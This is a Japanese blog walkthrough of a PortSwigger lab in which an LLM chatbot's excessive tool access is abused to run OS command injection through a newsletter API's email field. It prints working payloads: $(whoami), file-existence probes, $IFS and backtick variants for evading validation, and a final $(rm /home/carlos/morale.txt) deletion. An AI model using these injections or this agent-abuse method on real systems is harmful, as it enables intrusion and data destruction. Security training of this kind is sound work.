以下の内容はhttps://cysec148.hatenablog.com/entry/2025/08/23/141915より取得しました。


【有料試作版】PortSwigger LAB解説:続・Exploiting vulnerabilities in LLM APIs(過剰エージェンシー+OSコマンドインジェクションでファイル削除)

Hello there, ('ω')ノ

なぜ $(whoami) を使うのか(Step 4 の理由)

  • 最小の副作用で RCE を立証できるから whoami読むだけ のコマンド。ファイル破壊や設定変更を伴わず、まずは 「本当に OS コマンドが実行されたのか」 を安全に確かめられます。

  • 観測がめちゃくちゃ簡単だから 仕込みアドレス $(whoami)@YOUR-EXPLOIT-SERVER-ID... に対して、もしサーバ側でコマンド置換が起きれば ローカル部が実行結果(例:carlos)に置き換わる。 つまり メールの宛先carlos@YOUR-EXPLOIT-SERVER-ID... になっていれば RCE 成立が一目で分かる わけです。

  • 結果文字列がアドレスとして妥当(壊れにくい)だから whoami の出力は 英小文字のみ・空白なし。メールのローカル部にそのまま使えて、スペースや記号でバリデーションに引っかからない。 (対案の id は出力に空白が含まれ、アドレスを壊しやすい)

  • 実行ユーザー(権限)の可視化に直結するから 出力が carlos なら どのユーザー権限で実行されたか が分かる。続く rm /home/carlos/morale.txtパス選定の裏付け になります。

  • POSIX 環境での通りが良い・短く安定しているから $(...) は標準的な シェルのコマンド置換。短く、余計なクォートやエスケープが要らず、実装差の影響を受けにくい


期待される観測結果と判断

  • 成功(RCE 確定):メールが carlos@YOUR-EXPLOIT-SERVER-ID... に届く → サーバが $(whoami)シェルに渡し実行 している
  • 未成立(置換されず):メールが $(whoami)@... そのままの宛先で届く → 文字列扱い。別の注入点別のメタ文字 を試す
  • エラー:配信失敗や LLM の「something went wrong」 → 多くは 削除自体は成功 しているケースあり。ログで再確認

失敗時のリトライ指針(壊さずに前進)

  • コマンド置換の方言を試す`whoami`(バッククォート)
  • 空白回避:必要に応じて $IFS を利用(例:id$IFS-un
  • 演算子の微調整$(id -un) → 出力は carlos(ただし whoami の方が短く堅い)
  • バリデーション回避:前後に無害文字を足す(例:x$(whoami)x@...)→ 届いた宛先が xcarlosx@... なら置換成立を確認

レポートや手順書に追記する一文(そのまま使える)

Step 4(RCE 検証):Newsletter Subscription API の引数に $(whoami)@… を指定。 これは 破壊を伴わない最小ペイロードで、シェルのコマンド置換 が起きれば宛先が carlos@… に変化するため、RCE を安全かつ即座に立証 できる。 実行ユーザーが carlos と判明したので、次段で rm /home/carlos/morale.txt を確実に通せる根拠になる。


最後に(思考の型)

  1. 正常系を固める → 2) 誰でも叩ける送信系APIを選ぶ → 3) $(whoami) で安全に RCE 確証 → 4) 本命の rm を実行 この順番だと、事故らず、かつ 根拠を積み上げて ゴール(morale.txt 削除)に到達できます。

なぜ /home/carlos/morale.txt と分かるの?

短い答え

  1. このLABの要件に「Carlos のホームディレクトリの morale.txt を削除せよ」と明記されています(=出題がパスとファイル名を与えている)。
  2. 実環境でも、Linux ではホームディレクトリは慣例的に /home/<ユーザー名> です。Step 4 の $(whoami) で実行ユーザーが carlos と判明したら、ホームは自然に /home/carlos と推定できます。
  3. さらに削除前に“本当にそこにあるか”を安全に検証できます(下に具体例)。

現場での“確認の積み上げ”(壊さずに確証を取る)

LLM から Newsletter API に渡すメールアドレスの ローカル部(@ の前)で コマンド置換 を使うと、結果文字列 をそのまま宛先に反映させて観測できます。 ここでは 空白やスラッシュを含めない 出力を作るために、存在判定だけを マーカー文字列 で返すのがコツです。

1) 実行ユーザーの確認(誰のホームか)

$(id -un)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
  • メールの宛先が carlos@… になれば、実行ユーザーは carlos と確定。
  • ⇒ ホームは慣例上 /home/carlos と推定。

2) ディレクトリの存在チェック(/home/carlos がある?)

$(test -d /home/carlos && echo ok || echo no)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
  • 宛先が ok@… → ディレクトリは存在
  • 宛先が no@… → そのパスは存在せず(※ その場合は $(eval echo ~carlos) 等で再調査。ただし出力に「/」が入るため、次のような真偽だけ返す判定が無難)

3) ファイルの存在チェック(morale.txt がある?)

$(test -f /home/carlos/morale.txt && echo hit || echo miss)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
  • 宛先が hit@… → その場所に morale.txt が存在
  • 宛先が miss@… → 見つからず(ファイル名/場所の再確認)

こうして 「ユーザー=carlos」→「/home/carlos がある」→「morale.txt もある」 を、破壊を伴わず段階的に立証できます。


そして削除(最終ステップ)

確証が取れたら、要求どおり削除を実行します:

$(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
  • LLMの返答が"something went wrong"のようでも、実行自体は成功していることがあります(LAB想定どおり)。

まとめ(理解の芯)

  • 出題がパスとファイル名を指定しているのが第一根拠。
  • whoami で実行ユーザーを確かめ、Linuxの標準的なホームパス規約に当てはめると自然に /home/carlos へ。
  • 実行前にtest -d / test -f をコマンド置換で使い、宛先に「ok/no」「hit/miss」などの安全なマーカーを出させれば、破壊せずに存在確認ができます。
  • すべて揃ったらrm /home/carlos/morale.txt でゴール。

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/08/23/141915より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14